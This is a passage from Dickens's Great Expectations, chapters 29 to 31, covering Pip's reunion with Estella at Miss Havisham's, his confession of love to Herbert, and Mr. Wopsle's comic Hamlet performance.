+"I am expected, I believe?" + +"Burn me twice over, if I can say!" said he. + +Upon that, I turned down the long passage which I had first trodden +in my thick boots, and he made his bell sound. At the end of the +passage, while the bell was still reverberating, I found Sarah +Pocket: who appeared to have now become constitutionally green and +yellow by reason of me. + +"Oh!" said she. "You, is it, Mr. Pip?" + +"It is, Miss Pocket. I am glad to tell you that Mr. Pocket and +family are all well." + +"Are they any wiser?" said Sarah, with a dismal shake of the head; +"they had better be wiser, than well. Ah, Matthew, Matthew! You know +your way, sir?" + +Tolerably, for I had gone up the staircase in the dark, many a +time. I ascended it now, in lighter boots than of yore, and tapped +in my old way at the door of Miss Havisham's room. "Pip's rap," I +heard her say, immediately; "come in, Pip." + +She was in her chair near the old table, in the old dress, with her +two hands crossed on her stick, her chin resting on them, and her +eyes on the fire. Sitting near her, with the white shoe that had +never been worn, in her hand, and her head bent as she looked at +it, was an elegant lady whom I had never seen. + +"Come in, Pip," Miss Havisham continued to mutter, without looking +round or up; "come in, Pip, how do you do, Pip? so you kiss my hand +as if I were a queen, eh? - Well?" + +She looked up at me suddenly, only moving her eyes, and repeated in +a grimly playful manner, + +"Well?" + +"I heard, Miss Havisham," said I, rather at a loss, "that you were +so kind as to wish me to come and see you, and I came directly." + +"Well?" + +The lady whom I had never seen before, lifted up her eyes and +looked archly at me, and then I saw that the eyes were Estella's +eyes. But she was so much changed, was so much more beautiful, so +much more womanly, in all things winning admiration had made such +wonderful advance, that I seemed to have made none. I fancied, as I +looked at her, that I slipped hopelessly back into the coarse and +common boy again. O the sense of distance and disparity that came +upon me, and the inaccessibility that came about her! + +She gave me her hand. I stammered something about the pleasure I +felt in seeing her again, and about my having looked forward to it +for a long, long time. + +"Do you find her much changed, Pip?" asked Miss Havisham, with her +greedy look, and striking her stick upon a chair that stood between +them, as a sign to me to sit down there. + +"When I came in, Miss Havisham, I thought there was nothing of +Estella in the face or figure; but now it all settles down so +curiously into the old--" + +"What? You are not going to say into the old Estella?" Miss +Havisham interrupted. "She was proud and insulting, and you wanted +to go away from her. Don't you remember?" + +I said confusedly that that was long ago, and that I knew no better +then, and the like. Estella smiled with perfect composure, and said +she had no doubt of my having been quite right, and of her having +been very disagreeable. + +"Is he changed?" Miss Havisham asked her. + +"Very much," said Estella, looking at me. + +"Less coarse and common?" said Miss Havisham, playing with +Estella's hair. + +Estella laughed, and looked at the shoe in her hand, and laughed +again, and looked at me, and put the shoe down. She treated me as a +boy still, but she lured me on. + +We sat in the dreamy room among the old strange influences which +had so wrought upon me, and I learnt that she had but just come +home from France, and that she was going to London. Proud and +wilful as of old, she had brought those qualities into such +subjection to her beauty that it was impossible and out of nature - +or I thought so - to separate them from her beauty. Truly it was +impossible to dissociate her presence from all those wretched +hankerings after money and gentility that had disturbed my boyhood +- from all those ill-regulated aspirations that had first made me +ashamed of home and Joe - from all those visions that had raised +her face in the glowing fire, struck it out of the iron on the +anvil, extracted it from the darkness of night to look in at the +wooden window of the forge and flit away. In a word, it was +impossible for me to separate her, in the past or in the present, +from the innermost life of my life. + +It was settled that I should stay there all the rest of the day, +and return to the hotel at night, and to London to-morrow. When we +had conversed for a while, Miss Havisham sent us two out to walk in +the neglected garden: on our coming in by-and-by, she said, I +should wheel her about a little as in times of yore. + +So, Estella and I went out into the garden by the gate through +which I had strayed to my encounter with the pale young gentleman, +now Herbert; I, trembling in spirit and worshipping the very hem of +her dress; she, quite composed and most decidedly not worshipping +the hem of mine. As we drew near to the place of encounter, she +stopped and said: + +"I must have been a singular little creature to hide and see that +fight that day: but I did, and I enjoyed it very much." + +"You rewarded me very much." + +"Did I?" she replied, in an incidental and forgetful way. "I +remember I entertained a great objection to your adversary, because +I took it ill that he should be brought here to pester me with his +company." + +"He and I are great friends now." + +"Are you? I think I recollect though, that you read with his +father?" + +"Yes." + +I made the admission with reluctance, for it seemed to have a +boyish look, and she already treated me more than enough like a +boy. + +"Since your change of fortune and prospects, you have changed your +companions," said Estella. + +"Naturally," said I. + +"And necessarily," she added, in a haughty tone; "what was fit +company for you once, would be quite unfit company for you now." + +In my conscience, I doubt very much whether I had any lingering +intention left, of going to see Joe; but if I had, this observation +put it to flight. + +"You had no idea of your impending good fortune, in those times?" +said Estella, with a slight wave of her hand, signifying in the +fighting times. + +"Not the least." + +The air of completeness and superiority with which she walked at my +side, and the air of youthfulness and submission with which I +walked at hers, made a contrast that I strongly felt. It would have +rankled in me more than it did, if I had not regarded myself as +eliciting it by being so set apart for her and assigned to her. + +The garden was too overgrown and rank for walking in with ease, and +after we had made the round of it twice or thrice, we came out +again into the brewery yard. I showed her to a nicety where I had +seen her walking on the casks, that first old day, and she said, +with a cold and careless look in that direction, "Did I?" I +reminded her where she had come out of the house and given me my +meat and drink, and she said, "I don't remember." "Not remember +that you made me cry?" said I. "No," said she, and shook her head +and looked about her. I verily believe that her not remembering and +not minding in the least, made me cry again, inwardly - and that is +the sharpest crying of all. + +"You must know," said Estella, condescending to me as a brilliant +and beautiful woman might, "that I have no heart - if that has +anything to do with my memory." + +I got through some jargon to the effect that I took the liberty of +doubting that. That I knew better. That there could be no such +beauty without it. + +"Oh! I have a heart to be stabbed in or shot in, I have no doubt," +said Estella, "and, of course, if it ceased to beat I should cease +to be. But you know what I mean. I have no softness there, no - +sympathy - sentiment - nonsense." + +What was it that was borne in upon my mind when she stood still and +looked attentively at me? Anything that I had seen in Miss +Havisham? No. In some of her looks and gestures there was that +tinge of resemblance to Miss Havisham which may often be noticed to +have been acquired by children, from grown person with whom they +have been much associated and secluded, and which, when childhood +is passed, will produce a remarkable occasional likeness of +expression between faces that are otherwise quite different. And +yet I could not trace this to Miss Havisham. I looked again, and +though she was still looking at me, the suggestion was gone. + +What was it? + +"I am serious," said Estella, not so much with a frown (for her +brow was smooth) as with a darkening of her face; "if we are to be +thrown much together, you had better believe it at once. No!" +imperiously stopping me as I opened my lips. "I have not bestowed +my tenderness anywhere. I have never had any such thing." + +In another moment we were in the brewery so long disused, and she +pointed to the high gallery where I had seen her going out on that +same first day, and told me she remembered to have been up there, +and to have seen me standing scared below. As my eyes followed her +white hand, again the same dim suggestion that I could not possibly +grasp, crossed me. My involuntary start occasioned her to lay her +hand upon my arm. Instantly the ghost passed once more, and was +gone. + +What was it? + +"What is the matter?" asked Estella. "Are you scared again?" + +"I should be, if I believed what you said just now," I replied, to +turn it off. + +"Then you don't? Very well. It is said, at any rate. Miss Havisham +will soon be expecting you at your old post, though I think that +might be laid aside now, with other old belongings. Let us make one +more round of the garden, and then go in. Come! You shall not shed +tears for my cruelty to-day; you shall be my Page, and give me your +shoulder." + +Her handsome dress had trailed upon the ground. She held it in one +hand now, and with the other lightly touched my shoulder as we +walked. We walked round the ruined garden twice or thrice more, and +it was all in bloom for me. If the green and yellow growth of weed +in the chinks of the old wall had been the most precious flowers +that ever blew, it could not have been more cherished in my +remembrance. + +There was no discrepancy of years between us, to remove her far +from me; we were of nearly the same age, though of course the age +told for more in her case than in mine; but the air of +inaccessibility which her beauty and her manner gave her, tormented +me in the midst of my delight, and at the height of the assurance I +felt that our patroness had chosen us for one another. Wretched +boy! + +At last we went back into the house, and there I heard, with +surprise, that my guardian had come down to see Miss Havisham on +business, and would come back to dinner. The old wintry branches of +chandeliers in the room where the mouldering table was spread, had +been lighted while we were out, and Miss Havisham was in her chair +and waiting for me. + +It was like pushing the chair itself back into the past, when we +began the old slow circuit round about the ashes of the bridal +feast. But, in the funereal room, with that figure of the grave +fallen back in the chair fixing its eyes upon her, Estella looked +more bright and beautiful than before, and I was under stronger +enchantment. + +The time so melted away, that our early dinner-hour drew close at +hand, and Estella left us to prepare herself. We had stopped near +the centre of the long table, and Miss Havisham, with one of her +withered arms stretched out of the chair, rested that clenched hand +upon the yellow cloth. As Estella looked back over her shoulder +before going out at the door, Miss Havisham kissed that hand to +her, with a ravenous intensity that was of its kind quite dreadful. + +Then, Estella being gone and we two left alone, she turned to me, +and said in a whisper: + +"Is she beautiful, graceful, well-grown? Do you admire her?" + +"Everybody must who sees her, Miss Havisham." + +She drew an arm round my neck, and drew my head close down to hers +as she sat in the chair. "Love her, love her, love her! How does +she use you?" + +Before I could answer (if I could have answered so difficult a +question at all), she repeated, "Love her, love her, love her! If +she favours you, love her. If she wounds you, love her. If she +tears your heart to pieces - and as it gets older and stronger, it +will tear deeper - love her, love her, love her!" + +Never had I seen such passionate eagerness as was joined to her +utterance of these words. I could feel the muscles of the thin arm +round my neck, swell with the vehemence that possessed her. + +"Hear me, Pip! I adopted her to be loved. I bred her and educated +her, to be loved. I developed her into what she is, that she might +be loved. Love her!" + +She said the word often enough, and there could be no doubt that +she meant to say it; but if the often repeated word had been hate +instead of love - despair - revenge - dire death - it could not +have sounded from her lips more like a curse. + +"I'll tell you," said she, in the same hurried passionate whisper, +"what real love is. It is blind devotion, unquestioning +self-humiliation, utter submission, trust and belief against +yourself and against the whole world, giving up your whole heart +and soul to the smiter - as I did!" + +When she came to that, and to a wild cry that followed that, I +caught her round the waist. For she rose up in the chair, in her +shroud of a dress, and struck at the air as if she would as soon +have struck herself against the wall and fallen dead. + +All this passed in a few seconds. As I drew her down into her +chair, I was conscious of a scent that I knew, and turning, saw my +guardian in the room. + +He always carried (I have not yet mentioned it, I think) a +pocket-handkerchief of rich silk and of imposing proportions, which +was of great value to him in his profession. I have seen him so +terrify a client or a witness by ceremoniously unfolding this +pocket-handkerchief as if he were immediately going to blow his +nose, and then pausing, as if he knew he should not have time to do +it before such client or witness committed himself, that the +self-committal has followed directly, quite as a matter of course. +When I saw him in the room, he had this expressive +pockethandkerchief in both hands, and was looking at us. On meeting +my eye, he said plainly, by a momentary and silent pause in that +attitude, "Indeed? Singular!" and then put the handkerchief to its +right use with wonderful effect. + +Miss Havisham had seen him as soon as I, and was (like everybody +else) afraid of him. She made a strong attempt to compose herself, +and stammered that he was as punctual as ever. + +"As punctual as ever," he repeated, coming up to us. "(How do you +do, Pip? Shall I give you a ride, Miss Havisham? Once round?) +And so you are here, Pip?" + +I told him when I had arrived, and how Miss Havisham had wished me +to come and see Estella. To which he replied, "Ah! Very fine young +lady!" Then he pushed Miss Havisham in her chair before him, with +one of his large hands, and put the other in his trousers-pocket as +if the pocket were full of secrets. + +"Well, Pip! How often have you seen Miss Estella before?" said he, +when he came to a stop. + +"How often?" + +"Ah! How many times? Ten thousand times?" + +"Oh! Certainly not so many." + +"Twice?" + +"Jaggers," interposed Miss Havisham, much to my relief; "leave my +Pip alone, and go with him to your dinner." + +He complied, and we groped our way down the dark stairs together. +While we were still on our way to those detached apartments across +the paved yard at the back, he asked me how often I had seen Miss +Havisham eat and drink; offering me a breadth of choice, as usual, +between a hundred times and once. + +I considered, and said, "Never." + +"And never will, Pip," he retorted, with a frowning smile. "She has +never allowed herself to be seen doing either, since she lived this +present life of hers. She wanders about in the night, and then lays +hands on such food as she takes." + +"Pray, sir," said I, "may I ask you a question?" + +"You may," said he, "and I may decline to answer it. Put your +question." + +"Estella's name. Is it Havisham or - ?" I had nothing to add. + +"Or what?" said he. + +"Is it Havisham?" + +"It is Havisham." + +This brought us to the dinner-table, where she and Sarah Pocket +awaited us. Mr. Jaggers presided, Estella sat opposite to him, I +faced my green and yellow friend. We dined very well, and were +waited on by a maid-servant whom I had never seen in all my comings +and goings, but who, for anything I know, had been in that +mysterious house the whole time. After dinner, a bottle of choice +old port was placed before my guardian (he was evidently well +acquainted with the vintage), and the two ladies left us. + +Anything to equal the determined reticence of Mr. Jaggers under that +roof, I never saw elsewhere, even in him. He kept his very looks to +himself, and scarcely directed his eyes to Estella's face once +during dinner. When she spoke to him, he listened, and in due +course answered, but never looked at her, that I could see. On the +other hand, she often looked at him, with interest and curiosity, +if not distrust, but his face never, showed the least +consciousness. Throughout dinner he took a dry delight in making +Sarah Pocket greener and yellower, by often referring in +conversation with me to my expectations; but here, again, he showed +no consciousness, and even made it appear that he extorted - and +even did extort, though I don't know how - those references out of +my innocent self. + +And when he and I were left alone together, he sat with an air upon +him of general lying by in consequence of information he possessed, +that really was too much for me. He cross-examined his very wine +when he had nothing else in hand. He held it between himself and +the candle, tasted the port, rolled it in his mouth, swallowed it, +looked at his glass again, smelt the port, tried it, drank it, +filled again, and cross-examined the glass again, until I was as +nervous as if I had known the wine to be telling him something to +my disadvantage. Three or four times I feebly thought I would start +conversation; but whenever he saw me going to ask him anything, he +looked at me with his glass in his hand, and rolling his wine about +in his mouth, as if requesting me to take notice that it was of no +use, for he couldn't answer. + +I think Miss Pocket was conscious that the sight of me involved her +in the danger of being goaded to madness, and perhaps tearing off +her cap - which was a very hideous one, in the nature of a muslin +mop - and strewing the ground with her hair - which assuredly had +never grown on her head. She did not appear when we afterwards went +up to Miss Havisham's room, and we four played at whist. In the +interval, Miss Havisham, in a fantastic way, had put some of the +most beautiful jewels from her dressing-table into Estella's hair, +and about her bosom and arms; and I saw even my guardian look at +her from under his thick eyebrows, and raise them a little, when +her loveliness was before him, with those rich flushes of glitter +and colour in it. + +Of the manner and extent to which he took our trumps into custody, +and came out with mean little cards at the ends of hands, before +which the glory of our Kings and Queens was utterly abased, I say +nothing; nor, of the feeling that I had, respecting his looking +upon us personally in the light of three very obvious and poor +riddles that he had found out long ago. What I suffered from, was +the incompatibility between his cold presence and my feelings +towards Estella. It was not that I knew I could never bear to speak +to him about her, that I knew I could never bear to hear him creak +his boots at her, that I knew I could never bear to see him wash +his hands of her; it was, that my admiration should be within a +foot or two of him - it was, that my feelings should be in the same +place with him - that, was the agonizing circumstance. + +We played until nine o'clock, and then it was arranged that when +Estella came to London I should be forewarned of her coming and +should meet her at the coach; and then I took leave of her, and +touched her and left her. + +My guardian lay at the Boar in the next room to mine. Far into the +night, Miss Havisham's words, "Love her, love her, love her!" +sounded in my ears. I adapted them for my own repetition, and said +to my pillow, "I love her, I love her, I love her!" hundreds of +times. Then, a burst of gratitude came upon me, that she should be +destined for me, once the blacksmith's boy. Then, I thought if she +were, as I feared, by no means rapturously grateful for that +destiny yet, when would she begin to be interested in me? When +should I awaken the heart within her, that was mute and sleeping +now? + +Ah me! I thought those were high and great emotions. But I never +thought there was anything low and small in my keeping away from +Joe, because I knew she would be contemptuous of him. It was but a +day gone, and Joe had brought the tears into my eyes; they had soon +dried, God forgive me! soon dried. + + +Chapter 30 + +After well considering the matter while I was dressing at the Blue +Boar in the morning, I resolved to tell my guardian that I doubted +Orlick's being the right sort of man to fill a post of trust at +Miss Havisham's. "Why, of course he is not the right sort of man, +Pip," said my guardian, comfortably satisfied beforehand on the +general head, "because the man who fills the post of trust never is +the right sort of man." It seemed quite to put him into spirits, to +find that this particular post was not exceptionally held by the +right sort of man, and he listened in a satisfied manner while I +told him what knowledge I had of Orlick. "Very good, Pip," he +observed, when I had concluded, "I'll go round presently, and pay +our friend off." Rather alarmed by this summary action, I was for a +little delay, and even hinted that our friend himself might be +difficult to deal with. "Oh no he won't," said my guardian, making +his pocket-handkerchief-point, with perfect confidence; "I should +like to see him argue the question with me." + +As we were going back together to London by the mid-day coach, and +as I breakfasted under such terrors of Pumblechook that I could +scarcely hold my cup, this gave me an opportunity of saying that I +wanted a walk, and that I would go on along the London-road while +Mr. Jaggers was occupied, if he would let the coachman know that I +would get into my place when overtaken. I was thus enabled to fly +from the Blue Boar immediately after breakfast. By then making a +loop of about a couple of miles into the open country at the back +of Pumblechook's premises, I got round into the High-street again, +a little beyond that pitfall, and felt myself in comparative +security. + +It was interesting to be in the quiet old town once more, and it +was not disagreeable to be here and there suddenly recognized and +stared after. One or two of the tradespeople even darted out of +their shops and went a little way down the street before me, that +they might turn, as if they had forgotten something, and pass me +face to face - on which occasions I don't know whether they or I +made the worse pretence; they of not doing it, or I of not seeing +it. Still my position was a distinguished one, and I was not at all +dissatisfied with it, until Fate threw me in the way of that +unlimited miscreant, Trabb's boy. + +Casting my eyes along the street at a certain point of my progress, +I beheld Trabb's boy approaching, lashing himself with an empty +blue bag. Deeming that a serene and unconscious contemplation of +him would best beseem me, and would be most likely to quell his +evil mind, I advanced with that expression of countenance, and was +rather congratulating myself on my success, when suddenly the knees +of Trabb's boy smote together, his hair uprose, his cap fell off, +he trembled violently in every limb, staggered out into the road, +and crying to the populace, "Hold me! I'm so frightened!" feigned to +be in a paroxysm of terror and contrition, occasioned by the +dignity of my appearance. As I passed him, his teeth loudly +chattered in his head, and with every mark of extreme humiliation, +he prostrated himself in the dust. + +This was a hard thing to bear, but this was nothing. I had not +advanced another two hundred yards, when, to my inexpressible +terror, amazement, and indignation, I again beheld Trabb's boy +approaching. He was coming round a narrow corner. His blue bag was +slung over his shoulder, honest industry beamed in his eyes, a +determination to proceed to Trabb's with cheerful briskness was +indicated in his gait. With a shock he became aware of me, and was +severely visited as before; but this time his motion was rotatory, +and he staggered round and round me with knees more afflicted, and +with uplifted hands as if beseeching for mercy. His sufferings were +hailed with the greatest joy by a knot of spectators, and I felt +utterly confounded. + +I had not got as much further down the street as the post-office, +when I again beheld Trabb's boy shooting round by a back way. This +time, he was entirely changed. He wore the blue bag in the manner +of my great-coat, and was strutting along the pavement towards me +on the opposite side of the street, attended by a company of +delighted young friends to whom he from time to time exclaimed, +with a wave of his hand, "Don't know yah!" Words cannot state the +amount of aggravation and injury wreaked upon me by Trabb's boy, +when, passing abreast of me, he pulled up his shirt-collar, twined +his side-hair, stuck an arm akimbo, and smirked extravagantly by, +wriggling his elbows and body, and drawling to his attendants, +"Don't know yah, don't know yah, pon my soul don't know yah!" The +disgrace attendant on his immediately afterwards taking to crowing +and pursuing me across the bridge with crows, as from an +exceedingly dejected fowl who had known me when I was a blacksmith, +culminated the disgrace with which I left the town, and was, so to +speak, ejected by it into the open country. + +But unless I had taken the life of Trabb's boy on that occasion, I +really do not even now see what I could have done save endure. To +have struggled with him in the street, or to have exacted any lower +recompense from him than his heart's best blood, would have been +futile and degrading. Moreover, he was a boy whom no man could +hurt; an invulnerable and dodging serpent who, when chased into a +corner, flew out again between his captor's legs, scornfully +yelping. I wrote, however, to Mr. Trabb by next day's post, to say +that Mr. Pip must decline to deal further with one who could so far +forget what he owed to the best interests of society, as to employ +a boy who excited Loathing in every respectable mind. + +The coach, with Mr. Jaggers inside, came up in due time, and I took +my box-seat again, and arrived in London safe - but not sound, for +my heart was gone. As soon as I arrived, I sent a penitential +codfish and barrel of oysters to Joe (as reparation for not having +gone myself), and then went on to Barnard's Inn. + +I found Herbert dining on cold meat, and delighted to welcome me +back. Having despatched The Avenger to the coffee-house for an +addition to the dinner, I felt that I must open my breast that very +evening to my friend and chum. As confidence was out of the +question with The Avenger in the hall, which could merely be +regarded in the light of an ante-chamber to the keyhole, I sent him +to the Play. A better proof of the severity of my bondage to that +taskmaster could scarcely be afforded, than the degrading shifts to +which I was constantly driven to find him employment. So mean is +extremity, that I sometimes sent him to Hyde Park Corner to see +what o'clock it was. + +Dinner done and we sitting with our feet upon the fender, I said to +Herbert, "My dear Herbert, I have something very particular to tell +you." + +"My dear Handel," he returned, "I shall esteem and respect your +confidence." + +"It concerns myself, Herbert," said I, "and one other person." + +Herbert crossed his feet, looked at the fire with his head on one +side, and having looked at it in vain for some time, looked at me +because I didn't go on. + +"Herbert," said I, laying my hand upon his knee, "I love - I adore +- Estella." + +Instead of being transfixed, Herbert replied in an easy +matter-of-course way, "Exactly. Well?" + +"Well, Herbert? Is that all you say? Well?" + +"What next, I mean?" said Herbert. "Of course I know that." + +"How do you know it?" said I. + +"How do I know it, Handel? Why, from you." + +"I never told you." + +"Told me! You have never told me when you have got your hair cut, +but I have had senses to perceive it. You have always adored her, +ever since I have known you. You brought your adoration and your +portmanteau here, together. Told me! Why, you have always told me +all day long. When you told me your own story, you told me plainly +that you began adoring her the first time you saw her, when you +were very young indeed." + +"Very well, then," said I, to whom this was a new and not unwelcome +light, "I have never left off adoring her. And she has come back, a +most beautiful and most elegant creature. And I saw her yesterday. +And if I adored her before, I now doubly adore her." + +"Lucky for you then, Handel," said Herbert, "that you are picked +out for her and allotted to her. Without encroaching on forbidden +ground, we may venture to say that there can be no doubt between +ourselves of that fact. Have you any idea yet, of Estella's views +on the adoration question?" + +I shook my head gloomily. "Oh! She is thousands of miles away, from +me," said I. + +"Patience, my dear Handel: time enough, time enough. But you have +something more to say?" + +"I am ashamed to say it," I returned, "and yet it's no worse to say +it than to think it. You call me a lucky fellow. Of course, I am. I +was a blacksmith's boy but yesterday; I am - what shall I say I am +- to-day?" + +"Say, a good fellow, if you want a phrase," returned Herbert, +smiling, and clapping his hand on the back of mine, "a good fellow, +with impetuosity and hesitation, boldness and diffidence, action +and dreaming, curiously mixed in him." + +I stopped for a moment to consider whether there really was this +mixture in my character. On the whole, I by no means recognized the +analysis, but thought it not worth disputing. + +"When I ask what I am to call myself to-day, Herbert," I went on, +"I suggest what I have in my thoughts. You say I am lucky. I know I +have done nothing to raise myself in life, and that Fortune alone +has raised me; that is being very lucky. And yet, when I think of +Estella--" + +("And when don't you, you know?" Herbert threw in, with his eyes on +the fire; which I thought kind and sympathetic of him.) + +" - Then, my dear Herbert, I cannot tell you how dependent and +uncertain I feel, and how exposed to hundreds of chances. Avoiding +forbidden ground, as you did just now, I may still say that on the +constancy of one person (naming no person) all my expectations +depend. And at the best, how indefinite and unsatisfactory, only to +know so vaguely what they are!" In saying this, I relieved my mind +of what had always been there, more or less, though no doubt most +since yesterday. + +"Now, Handel," Herbert replied, in his gay hopeful way, "it seems +to me that in the despondency of the tender passion, we are looking +into our gift-horse's mouth with a magnifying-glass. Likewise, it +seems to me that, concentrating our attention on the examination, +we altogether overlook one of the best points of the animal. Didn't +you tell me that your guardian, Mr. Jaggers, told you in the +beginning, that you were not endowed with expectations only? And +even if he had not told you so - though that is a very large If, I +grant - could you believe that of all men in London, Mr. Jaggers is +the man to hold his present relations towards you unless he were +sure of his ground?" + +I said I could not deny that this was a strong point. I said it +(people often do so, in such cases) like a rather reluctant +concession to truth and justice; - as if I wanted to deny it! + +"I should think it was a strong point," said Herbert, "and I should +think you would be puzzled to imagine a stronger; as to the rest, +you must bide your guardian's time, and he must bide his client's +time. You'll be one-and-twenty before you know where you are, and +then perhaps you'll get some further enlightenment. At all events, +you'll be nearer getting it, for it must come at last." + +"What a hopeful disposition you have!" said I, gratefully admiring +his cheery ways. + +"I ought to have," said Herbert, "for I have not much else. I must +acknowledge, by-the-bye, that the good sense of what I have just +said is not my own, but my father's. The only remark I ever heard +him make on your story, was the final one: "The thing is settled +and done, or Mr. Jaggers would not be in it." And now before I say +anything more about my father, or my father's son, and repay +confidence with confidence, I want to make myself seriously +disagreeable to you for a moment - positively repulsive." + +"You won't succeed," said I. + +"Oh yes I shall!" said he. "One, two, three, and now I am in for +it. Handel, my good fellow;" though he spoke in this light tone, he +was very much in earnest: "I have been thinking since we have been +talking with our feet on this fender, that Estella surely cannot be +a condition of your inheritance, if she was never referred to by +your guardian. Am I right in so understanding what you have told +me, as that he never referred to her, directly or indirectly, in +any way? Never even hinted, for instance, that your patron might +have views as to your marriage ultimately?" + +"Never." + +"Now, Handel, I am quite free from the flavour of sour grapes, upon +my soul and honour! Not being bound to her, can you not detach +yourself from her? - I told you I should be disagreeable." + +I turned my head aside, for, with a rush and a sweep, like the old +marsh winds coming up from the sea, a feeling like that which had +subdued me on the morning when I left the forge, when the mists +were solemnly rising, and when I laid my hand upon the village +finger-post, smote upon my heart again. There was silence between +us for a little while. + +"Yes; but my dear Handel," Herbert went on, as if we had been +talking instead of silent, "its having been so strongly rooted in +the breast of a boy whom nature and circumstances made so romantic, +renders it very serious. Think of her bringing-up, and think of +Miss Havisham. Think of what she is herself (now I am repulsive and +you abominate me). This may lead to miserable things." + +"I know it, Herbert," said I, with my head still turned away, "but +I can't help it." + +"You can't detach yourself?" + +"No. Impossible!" + +"You can't try, Handel?" + +"No. Impossible!" + +"Well!" said Herbert, getting up with a lively shake as if he had +been asleep, and stirring the fire; "now I'll endeavour to make +myself agreeable again!" + +So he went round the room and shook the curtains out, put the +chairs in their places, tidied the books and so forth that were +lying about, looked into the hall, peeped into the letter-box, shut +the door, and came back to his chair by the fire: where he sat +down, nursing his left leg in both arms. + +"I was going to say a word or two, Handel, concerning my father and +my father's son. I am afraid it is scarcely necessary for my +father's son to remark that my father's establishment is not +particularly brilliant in its housekeeping." + +"There is always plenty, Herbert," said I: to say something +encouraging. + +"Oh yes! and so the dustman says, I believe, with the strongest +approval, and so does the marine-store shop in the back street. +Gravely, Handel, for the subject is grave enough, you know how it +is, as well as I do. I suppose there was a time once when my father +had not given matters up; but if ever there was, the time is gone. +May I ask you if you have ever had an opportunity of remarking, +down in your part of the country, that the children of not exactly +suitable marriages, are always most particularly anxious to be +married?" + +This was such a singular question, that I asked him in return, "Is +it so?" + +"I don't know," said Herbert, "that's what I want to know. Because +it is decidedly the case with us. My poor sister Charlotte who was +next me and died before she was fourteen, was a striking example. +Little Jane is the same. In her desire to be matrimonially +established, you might suppose her to have passed her short +existence in the perpetual contemplation of domestic bliss. Little +Alick in a frock has already made arrangements for his union with a +suitable young person at Kew. And indeed, I think we are all +engaged, except the baby." + +"Then you are?" said I. + +"I am," said Herbert; "but it's a secret." + +I assured him of my keeping the secret, and begged to be favoured +with further particulars. He had spoken so sensibly and feelingly +of my weakness that I wanted to know something about his strength. + +"May I ask the name?" I said. + +"Name of Clara," said Herbert. + +"Live in London?" + +"Yes. Perhaps I ought to mention," said Herbert, who had become +curiously crestfallen and meek, since we entered on the interesting +theme, "that she is rather below my mother's nonsensical family +notions. Her father had to do with the victualling of +passenger-ships. I think he was a species of purser." + +"What is he now?" said I. + +"He's an invalid now," replied Herbert. + +"Living on - ?" + +"On the first floor," said Herbert. Which was not at all what I +meant, for I had intended my question to apply to his means. "I +have never seen him, for he has always kept his room overhead, +since I have known Clara. But I have heard him constantly. He makes +tremendous rows - roars, and pegs at the floor with some frightful +instrument." In looking at me and then laughing heartily, Herbert +for the time recovered his usual lively manner. + +"Don't you expect to see him?" said I. + +"Oh yes, I constantly expect to see him," returned Herbert, +"because I never hear him, without expecting him to come tumbling +through the ceiling. But I don't know how long the rafters may +hold." + +When he had once more laughed heartily, he became meek again, and +told me that the moment he began to realize Capital, it was his +intention to marry this young lady. He added as a self-evident +proposition, engendering low spirits, "But you can't marry, you +know, while you're looking about you." + +As we contemplated the fire, and as I thought what a difficult +vision to realize this same Capital sometimes was, I put my hands +in my pockets. A folded piece of paper in one of them attracting my +attention, I opened it and found it to be the playbill I had +received from Joe, relative to the celebrated provincial amateur of +Roscian renown. "And bless my heart," I involuntarily added aloud, +"it's to-night!" + +This changed the subject in an instant, and made us hurriedly +resolve to go to the play. So, when I had pledged myself to comfort +and abet Herbert in the affair of his heart by all practicable and +impracticable means, and when Herbert had told me that his +affianced already knew me by reputation and that I should be +presented to her, and when we had warmly shaken hands upon our +mutual confidence, we blew out our candles, made up our fire, +locked our door, and issued forth in quest of Mr. Wopsle and +Denmark. + + +Chapter 31 + +On our arrival in Denmark, we found the king and queen of that +country elevated in two arm-chairs on a kitchen-table, holding a +Court. The whole of the Danish nobility were in attendance; +consisting of a noble boy in the wash-leather boots of a gigantic +ancestor, a venerable Peer with a dirty face who seemed to have +risen from the people late in life, and the Danish chivalry with a +comb in its hair and a pair of white silk legs, and presenting on +the whole a feminine appearance. My gifted townsman stood gloomily +apart, with folded arms, and I could have wished that his curls and +forehead had been more probable. + +Several curious little circumstances transpired as the action +proceeded. The late king of the country not only appeared to have +been troubled with a cough at the time of his decease, but to have +taken it with him to the tomb, and to have brought it back. The +royal phantom also carried a ghostly manuscript round its +truncheon, to which it had the appearance of occasionally +referring, and that, too, with an air of anxiety and a tendency to +lose the place of reference which were suggestive of a state of +mortality. It was this, I conceive, which led to the Shade's being +advised by the gallery to "turn over!" - a recommendation which it +took extremely ill. It was likewise to be noted of this majestic +spirit that whereas it always appeared with an air of having been +out a long time and walked an immense distance, it perceptibly came +from a closely contiguous wall. This occasioned its terrors to be +received derisively. The Queen of Denmark, a very buxom lady, +though no doubt historically brazen, was considered by the public +to have too much brass about her; her chin being attached to her +diadem by a broad band of that metal (as if she had a gorgeous +toothache), her waist being encircled by another, and each of her +arms by another, so that she was openly mentioned as "the +kettledrum." The noble boy in the ancestral boots, was +inconsistent; representing himself, as it were in one breath, as an +able seaman, a strolling actor, a grave-digger, a clergyman, and a +person of the utmost importance at a Court fencing-match, on the +authority of whose practised eye and nice discrimination the finest +strokes were judged. This gradually led to a want of toleration for +him, and even - on his being detected in holy orders, and declining +to perform the funeral service - to the general indignation taking +the form of nuts. Lastly, Ophelia was a prey to such slow musical +madness, that when, in course of time, she had taken off her white +muslin scarf, folded it up, and buried it, a sulky man who had been +long cooling his impatient nose against an iron bar in the front +row of the gallery, growled, "Now the baby's put to bed let's have +supper!" Which, to say the least of it, was out of keeping. + +Upon my unfortunate townsman all these incidents accumulated with +playful effect. Whenever that undecided Prince had to ask a +question or state a doubt, the public helped him out with it. As +for example; on the question whether 'twas nobler in the mind to +suffer, some roared yes, and some no, and some inclining to both +opinions said "toss up for it;" and quite a Debating Society arose. +When he asked what should such fellows as he do crawling between +earth and heaven, he was encouraged with loud cries of "Hear, +hear!" When he appeared with his stocking disordered (its disorder +expressed, according to usage, by one very neat fold in the top, +which I suppose to be always got up with a flat iron), a +conversation took place in the gallery respecting the paleness of +his leg, and whether it was occasioned by the turn the ghost had +given him. On his taking the recorders - very like a little black +flute that had just been played in the orchestra and handed out at +the door - he was called upon unanimously for Rule Britannia. When +he recommended the player not to saw the air thus, the sulky man +said, "And don't you do it, neither; you're a deal worse than him!" +And I grieve to add that peals of laughter greeted Mr. Wopsle on +every one of these occasions. + +But his greatest trials were in the churchyard: which had the +appearance of a primeval forest, with a kind of small +ecclesiastical wash-house on one side, and a turnpike gate on the +other. Mr. Wopsle in a 